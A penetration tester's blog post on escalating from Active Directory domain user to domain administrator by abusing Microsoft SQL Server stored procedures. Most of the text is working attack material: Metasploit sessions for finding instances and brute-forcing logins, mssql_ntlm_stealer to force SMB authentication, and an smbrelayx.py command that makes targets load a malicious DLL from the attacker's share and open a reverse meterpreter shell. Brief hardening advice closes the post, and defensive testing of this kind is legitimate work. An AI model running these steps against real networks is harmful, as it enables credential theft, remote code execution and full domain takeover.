TLDR: Domain Users permitted to authenticate to Microsoft SQL databases can use the limited privileges they are granted to run a stored procedure. The stored procedure can be used to send the database service credentials over the network. When the database service is configured with privileges, these can be cracked offline or relayed in order to escalate privileges. I have exploited this multiple times to escalate from domain user to domain administrator!
Finding MSSQL Server Instances
There are multiple methods to identify Microsoft SQL (MSSQL) Server Instances.
DNS
Including Domain Name Service (DNS) service records (SRV):
nslookup -type=SRV _sql._tcp.contoso.com
SPNs
Kerberos Service Principal Names (SPN):
ldapsearch -h dc1.contoso.com -b "DC=contoso,DC=com" -D "myuser@contoso.com" -W "servicePrincipalName=MSSQLSvc/*" "servicePrincipalName" | grep MSSQLSvc
Port Scanning
Or of course port scanning, however you should note that just scanning for the default ports (TCP 1433 and 2433) you will miss a lot of instances running on random ports. Instead you may wish to perform a UDP scan for port 1434 which presents the SQL Browser Service.
MSSQL Ping
This is my preferred method at the moment.
A number of utilities exist which can scan a network and interact with the MSSQL Browser Service in order to identify the TCP ports the MSSQL instances are running on.
However the tool I prefer is the metasploit auxiliary module mssql_ping, using the metasploit database.
msf > use auxiliary/scanner/mssql/mssql_ping msf auxiliary(scanner/mssql/mssql_ping) > set rhosts 10.0.0.0/22 rhosts => 10.0.0.0/22 msf auxiliary(scanner/mssql/mssql_ping) > workspace -a test [*] Added workspace: test msf auxiliary(scanner/mssql/mssql_ping) > show options Module options (auxiliary/scanner/mssql/mssql_ping): Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no The password for the specified username RHOSTS 10.0.0.0/22 yes The target address range or CIDR identifier TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption" THREADS 1 yes The number of concurrent threads USERNAME sa no The username to authenticate as USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set) msf auxiliary(scanner/mssql/mssql_ping) > set threads 20 threads => 20 msf auxiliary(scanner/mssql/mssql_ping) > run [*] 10.0.3.7: - SQL Server information for 10.0.3.7: [+] 10.0.3.7: - ServerName = TESTDMZ [+] 10.0.3.7: - InstanceName = MSSQLSERVER [+] 10.0.3.7: - IsClustered = No [+] 10.0.3.7: - Version = 9.00.5000.00 [+] 10.0.3.7: - tcp = 5693 [*] Scanned 1024 of 1024 hosts (100% complete) [*] Auxiliary module execution completed
Login to MSSQL
There are multiple utilities to bruteforce MSSQL, however I use Metasploit’s mssql_login module. One thing to note when using this module with Windows authentication is that the domain parameter is required but not shown in the normal options output.
Since MSSQL server instances may be on inconsistent ports across hosts, I use a modified version of mssql_brute.rc – a Metasploit resource script.
msf auxiliary(scanner/mssql/mssql_ping) > use auxiliary/scanner/mssql/mssql_login msf auxiliary(scanner/mssql/mssql_login) > show options Module options (auxiliary/scanner/mssql/mssql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 5693 yes The target port (TCP) STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption" THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set) VERBOSE true yes Whether to print output for all attempts msf auxiliary(scanner/mssql/mssql_login) > set domain CONTOSO domain => CONTOSO msf auxiliary(scanner/mssql/mssql_login) > set use_windows_authent true use_windows_authent => true msf auxiliary(scanner/mssql/mssql_login) > set username MyUser username => MyUser msf auxiliary(scanner/mssql/mssql_login) > set password MyPassword password => MyPassword msf auxiliary(scanner/mssql/mssql_login) > resource mssql_brute.rc [*] Processing /opt/metasploit-framework/embedded/framework/scripts/resource/mssql_brute.rc for ERB directives. [*] resource (/opt/metasploit-framework/embedded/framework/scripts/resource/mssql_domain_login.rc)> Ruby Code (1048 bytes) RHOSTS => 10.0.3.7 RPORT => 5693 BRUTEFORCE_SPEED => 5 BLANK_PASSWORDS => false USER_AS_PASS => false [*] 10.0.3.7:5693 - 10.0.3.7:5693 - MSSQL - Starting authentication scanner. [-] 10.0.3.7:5693 - 10.0.3.7:5693 - LOGIN SUCCESS: CONTOSO\MyUser:MyPassword (Correct: ) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Executing Extended Stored Procedures
There are a number of useful extended stored procedures within MSSQL Server which can be useful to an attacker. Although some like xp_cmdshell require elevated permissions within the database, others such a xp_dirtree and xp_fileexists can be executed with the guest permissions often granted to the domain users group.
xp_dirtree and xp_fileexist
These two stored procedures can be invoked with a UNC path in order to cause the database service to connect to the attacker’s machine over SMB.
Privileges of the Database Service
Even though we have connected to the database using domain credentials, the stored procedure is executed under the context of the account the database service is running as.
The MSSQL service can be configured to run as the local system account (a terrible idea, as escalating privileges within the database also compromises the server), a local service account, a local account, a domain account, or as a domain managed service account.
The misconfiguration I regularly see is for the database service to be running as a domain account with significant privileges – local administrator within the server estate, or even domain administrator!
Exploitation
There are two methods of exploiting this series of misconfigurations.
Capturing the Hash
First you can simply capture the hash and subject this to an offline bruteforce attack. This relies on the account being configured with a significantly weak password.
Multiple tools can be used to perform this attack such as Responder, or the Metasploit SMB Capture module.
I am not going to go into detail in this area as it is extensively covered elsewhere (for example HollyGraceful’s post).
SMB Relay
As always there are various tools to accomplish this as this technique has been around a long time.
I use the smbrelayx.py from the impacket library to relay the authentication to a host with SMB signing disabled, and use rundll32 to load a malicious DLL from a network share which establishes a reverse meterpreter shell.
In order to do this, you need to have 2 IP addresses as both smbrelayx.py and the network share both require the same port. This can be accomplished with the following command, assuming eth0 is your network interface.
ifconfig eth0:0 10.0.0.2 netmask 255.255.255.0
We can then create and host the payload using the generic_dll_injection metasploit module by @_castleinthesky
msf auxiliary(scanner/mssql/mssql_login) > use exploit/windows/smb/generic_smb_dll_injection msf exploit(windows/smb/generic_smb_dll_injection) > set file_name exploit.dll file_name => exploit.dll msf exploit(windows/smb/generic_smb_dll_injection) > set share share share => share msf exploit(windows/smb/generic_smb_dll_injection) > set srvhost 10.0.0.2 srvhost => 10.0.0.2 msf exploit(windows/smb/generic_smb_dll_injection) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf exploit(windows/smb/generic_smb_dll_injection) > set lhost 10.0.0.2 lhost => 10.0.0.2 msf exploit(windows/smb/generic_smb_dll_injection) > run [*] Exploit running as background job 0.
With our payload ready we can run smbrelayx.py pointing to a host with smb signing disabled (by default, all Windows hosts except domain controllers)
sudo smbrelayx.py -h targethost -c 'rundll32 \\10.0.0.2\share\exploit.dll,1'
We can then use the xp_dirtree and xp_fileexist stored procedures, to do this I use the Metasploit module mssql_ntlm_stealer:
msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rport 5693 rport => 5693 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set rhosts 10.0.0.7 rhosts => 10.0.0.7 msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set username myuser username => myuser msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set password MyPassword password => MyPassword msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set domain CONTOSO domain => CONTOSO msf auxiliary(admin/mssql/mssql_ntlm_stealer) > set use_windows_authent true use_windows_authent => true msf auxiliary(admin/mssql/mssql_ntlm_stealer) > run
When the database service is running with administrative permissions, this can result in complete compromise of the domain.
Defense
There are a series of insecure configurations at play here, I would recommend addressing them all to harden your environment. However most significantly, follow the principle of least privilege (1 and 2).
- Reconfigure the database to prevent authentication by all domain users. Ensure that only those who require access can authenticate to the database.
- Reconfigure the database service to run with minimum privileges, never as local system or an administrative account.
- Enable SMB signing, to prevent SMB Relay attacks.
Be First to Comment